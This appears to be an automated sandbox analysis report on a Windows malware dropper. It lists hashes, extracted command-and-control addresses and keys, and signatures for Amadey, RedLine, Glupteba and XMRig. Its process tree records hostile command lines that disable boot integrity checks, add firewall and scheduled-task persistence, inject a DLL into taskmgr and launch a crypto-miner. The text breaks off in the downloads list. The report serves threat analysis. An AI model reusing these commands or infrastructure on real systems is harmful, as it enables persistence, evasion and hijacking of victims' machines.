Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    295s
  • max time network
    296s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16/05/2024, 23:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    851ffc2fa852ba43e94329e251dc7ce4e85fd83c3eb33b48de9cd1b922c573bd.exe

  • Size

    1.8MB

  • MD5

    efcd180e915b9d38b5e6403d994a6182

  • SHA1

    739dd0507b64cd53fbe7b2a07fad6255215ad73a

  • SHA256

    851ffc2fa852ba43e94329e251dc7ce4e85fd83c3eb33b48de9cd1b922c573bd

  • SHA512

    11998a1212a452d62c407fb9f70c5d617c21b7b6e0f7a89e6ede06be8e88a193e2622fa386d14a666ad4d79899ec8809bb6278255c340eb09fb61411d0bfbef3

  • SSDEEP

    49152:w5V/ZvRxswJq3xqTMtQfJ0ohASX6OfqqPVHc3Cty9n73bCPid1BNCZ:wH/i30YtKJlASqOfqqtHc3Ctg3bsid1i

Score
10/10
amadeydcratgcleanergluptebaredlineriseproxmrig118befcc767c0discoverydropperevasionexecutioninfostealerloaderminerpersistenceransomwareratrootkitspywarestealerthemidatrojanupx

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

C2

http://5.42.96.141

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

gcleaner

C2

185.172.128.90

5.42.64.56

5.42.65.64

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • XMRig Miner payload 3 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
    ransomwareevasion
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 33 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 54 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 11 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 7 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 15 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of FindShellTrayWindow 32 IoCs
  • Suspicious use of SendNotifyMessage 18 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\851ffc2fa852ba43e94329e251dc7ce4e85fd83c3eb33b48de9cd1b922c573bd.exe
    "C:\Users\Admin\AppData\Local\Temp\851ffc2fa852ba43e94329e251dc7ce4e85fd83c3eb33b48de9cd1b922c573bd.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:2728
      • C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
        "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
          "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
            "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2148
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 116
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:1724
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1440
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1440 -s 96
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:1648
          • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
            5⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2972
          • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
            "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2032
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:696
              • C:\Windows\SysWOW64\sc.exe
                Sc delete GameSyncLinks
                7⤵
                • Launches sc.exe
                PID:1740
              • C:\Program Files (x86)\GameStabilityService\GameService.exe
                GameService remove GameSyncLinks confirm
                7⤵
                • Executes dropped EXE
                PID:2388
              • C:\Program Files (x86)\GameStabilityService\GameService.exe
                GameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
                7⤵
                • Executes dropped EXE
                PID:2244
              • C:\Program Files (x86)\GameStabilityService\GameService.exe
                GameService start GameStabilityService
                7⤵
                • Executes dropped EXE
                PID:2016
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
              6⤵
                PID:2512
            • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
              "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
              5⤵
              • Executes dropped EXE
              PID:960
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 96
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:2656
            • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
              "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
              5⤵
              • Executes dropped EXE
              PID:2556
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2556 -s 52
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:1968
            • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Modifies system certificate store
              PID:2392
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                6⤵
                • Creates scheduled task(s)
                PID:2288
              • C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe
                "C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe"
                6⤵
                • Executes dropped EXE
                PID:1896
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im "dl.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe" & exit
                  7⤵
                    PID:2628
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im "dl.exe" /f
                      8⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2808
                • C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe"
                  6⤵
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:2056
                • C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1836
                  • C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
                    7⤵
                    • Windows security bypass
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Windows security modification
                    • Adds Run key to start application
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    • Drops file in Windows directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2892
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                      8⤵
                        PID:1580
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                          9⤵
                          • Modifies Windows Firewall
                          • Modifies data under HKEY_USERS
                          PID:2724
                      • C:\Windows\rss\csrss.exe
                        C:\Windows\rss\csrss.exe
                        8⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Manipulates WinMon driver.
                        • Manipulates WinMonFS driver.
                        • Drops file in Windows directory
                        • Modifies system certificate store
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2280
                        • C:\Windows\system32\schtasks.exe
                          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                          9⤵
                          • Creates scheduled task(s)
                          PID:1668
                        • C:\Windows\system32\schtasks.exe
                          schtasks /delete /tn ScheduledUpdate /f
                          9⤵
                            PID:1552
                          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                            "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                            9⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Modifies system certificate store
                            PID:2016
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2668
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:1056
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2956
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:1296
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:1896
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:1332
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2492
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2608
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2800
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:1956
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2932
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -timeout 0
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2720
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                              10⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2512
                          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                            C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                            9⤵
                            • Executes dropped EXE
                            PID:3024
                          • C:\Windows\system32\bcdedit.exe
                            C:\Windows\Sysnative\bcdedit.exe /v
                            9⤵
                            • Modifies boot configuration data using bcdedit
                            PID:940
                          • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                            C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                            9⤵
                            • Executes dropped EXE
                            PID:1672
                          • C:\Windows\system32\schtasks.exe
                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                            9⤵
                            • Creates scheduled task(s)
                            PID:1468
                          • C:\Windows\windefender.exe
                            "C:\Windows\windefender.exe"
                            9⤵
                            • Executes dropped EXE
                            PID:2044
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                              10⤵
                                PID:2944
                                • C:\Windows\SysWOW64\sc.exe
                                  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                  11⤵
                                  • Launches sc.exe
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1332
                    • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:696
                • C:\Users\Admin\AppData\Local\Temp\1000014001\d76d96dca0.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000014001\d76d96dca0.exe"
                  3⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  PID:976
            • C:\Program Files (x86)\GameStabilityService\GameService.exe
              "C:\Program Files (x86)\GameStabilityService\GameService.exe"
              1⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:540
              • C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
                "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Program Files directory
                PID:1844
                • C:\Windows\Temp\344676.exe
                  "C:\Windows\Temp\344676.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 86Adxfq6AnkKUZNQwBuLMF9HYKxy399q4GoNvX86ddj4DNkHhKaPCWagERDeBPVYSw76hQwZATyV8GAWhX5g2ujETX6AWcp --coin XMR -t 1 --no-color -p x
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:1888
            • C:\Windows\system32\makecab.exe
              "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240516233419.log C:\Windows\Logs\CBS\CbsPersist_20240516233419.cab
              1⤵
              • Drops file in Windows directory
              PID:1456
            • C:\Windows\system32\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\C36E.bat" "
              1⤵
                PID:2536
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                  2⤵
                    PID:2516
                • C:\Windows\system32\cmd.exe
                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D412.bat" "
                  1⤵
                    PID:2384
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                      2⤵
                        PID:1260
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {B14714AC-0677-4E7A-B698-E80BA569DB4D} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]
                      1⤵
                        PID:1904
                        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          2⤵
                          • Executes dropped EXE
                          PID:320
                        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          2⤵
                          • Executes dropped EXE
                          PID:2724
                        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          2⤵
                          • Executes dropped EXE
                          PID:2948
                        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                          2⤵
                          • Executes dropped EXE
                          PID:936
                      • C:\Windows\system32\conhost.exe
                        \??\C:\Windows\system32\conhost.exe "-1668815002-8101574475396587-703972755714884403-19738801914889970-671532286"
                        1⤵
                          PID:1056
                        • C:\Windows\windefender.exe
                          C:\Windows\windefender.exe
                          1⤵
                          • Executes dropped EXE
                          • Modifies data under HKEY_USERS
                          PID:2756
                        • C:\Windows\explorer.exe
                          explorer.exe
                          1⤵
                          • Modifies Installed Components in the registry
                          • Modifies registry class
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:1900
                        • C:\Windows\system32\AUDIODG.EXE
                          C:\Windows\system32\AUDIODG.EXE 0x518
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2908

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        Scheduled Task/Job

                        1
                        T1053

                        System Services

                        1
                        T1569

                        Service Execution

                        1
                        T1569.002

                        Persistence

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Create or Modify System Process

                        2
                        T1543

                        Windows Service

                        2
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        2
                        T1547

                        Registry Run Keys / Startup Folder

                        2
                        T1547.001

                        Create or Modify System Process

                        2
                        T1543

                        Windows Service

                        2
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Defense Evasion

                        Impair Defenses

                        5
                        T1562

                        Disable or Modify System Firewall

                        1
                        T1562.004

                        Disable or Modify Tools

                        2
                        T1562.001

                        Modify Registry

                        5
                        T1112

                        Subvert Trust Controls

                        1
                        T1553

                        Install Root Certificate

                        1
                        T1553.004

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Unsecured Credentials

                        2
                        T1552

                        Credentials In Files

                        2
                        T1552.001

                        Discovery

                        Peripheral Device Discovery

                        1
                        T1120

                        Query Registry

                        6
                        T1012

                        System Information Discovery

                        5
                        T1082

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        2
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Inhibit System Recovery

                        1
                        T1490

                        Service Stop

                        1
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Program Files (x86)\GameStabilityService\GameService.exe
                          Filesize

                          288KB

                          MD5

                          d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                          SHA1

                          e1908caab6f938404af85a7df0f80f877a4d9ee6

                          SHA256

                          472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                          SHA512

                          1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                          Download Submit

                        • C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
                          Filesize

                          2.8MB

                          MD5

                          b1fd0d398503b81478abdc4ae59afd37

                          SHA1

                          90055431986c6938c48b3e2a78daf059af2e6c09

                          SHA256

                          184aaaf53ee66929fa420785d63b11d7f43050e7bf1c4ec44861385a29c870fd

                          SHA512

                          d9b7864c0ce2990708e74ea229ef868939de296e9b5ac3d689ee3d851ec9265a076f0a01414adc309ba5217fb5ca0c0fa40787761e26caefe10be13db4923763

                          Download Submit

                        • C:\Program Files (x86)\GameStabilityService\installm.bat
                          Filesize

                          247B

                          MD5

                          192ae14b572f1bdd164ee67855d5a83a

                          SHA1

                          9cf0757c807a8b834470d216ccd85be9a6b60aa0

                          SHA256

                          2f6be6b40cf7c1802b6540dbf0b90eac67fd6a94067a06090e1f71bee164188d

                          SHA512

                          18fc80eb3d450359863d61cf9123a08cdfe8c52d5f59e97f5b42816584d474d8a080bb75e7fe92480d2961481d59584a3987b2e7a15e611b58885b4441085e3c

                          Download Submit

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                          Filesize

                          68KB

                          MD5

                          29f65ba8e88c063813cc50a4ea544e93

                          SHA1

                          05a7040d5c127e68c25d81cc51271ffb8bef3568

                          SHA256

                          1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

                          SHA512

                          e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
                          Filesize

                          2.7MB

                          MD5

                          31841361be1f3dc6c2ce7756b490bf0f

                          SHA1

                          ff2506641a401ac999f5870769f50b7326f7e4eb

                          SHA256

                          222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee

                          SHA512

                          53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
                          Filesize

                          474KB

                          MD5

                          e967f019b01357086d92181e6ee28e0b

                          SHA1

                          7f26480ea5ca0ee9481dfc0bea12194bd6f10283

                          SHA256

                          c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82

                          SHA512

                          dd2abe993397cf9f117753fd71ed9f98c4952616ee30f10479fbc3dad93a88dcfbfd6b80083541c7a796936dd37667a0f178156bdf5c35abf76dd8b23015d88a

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                          Filesize

                          304KB

                          MD5

                          9faf597de46ed64912a01491fe550d33

                          SHA1

                          49203277926355afd49393782ae4e01802ad48af

                          SHA256

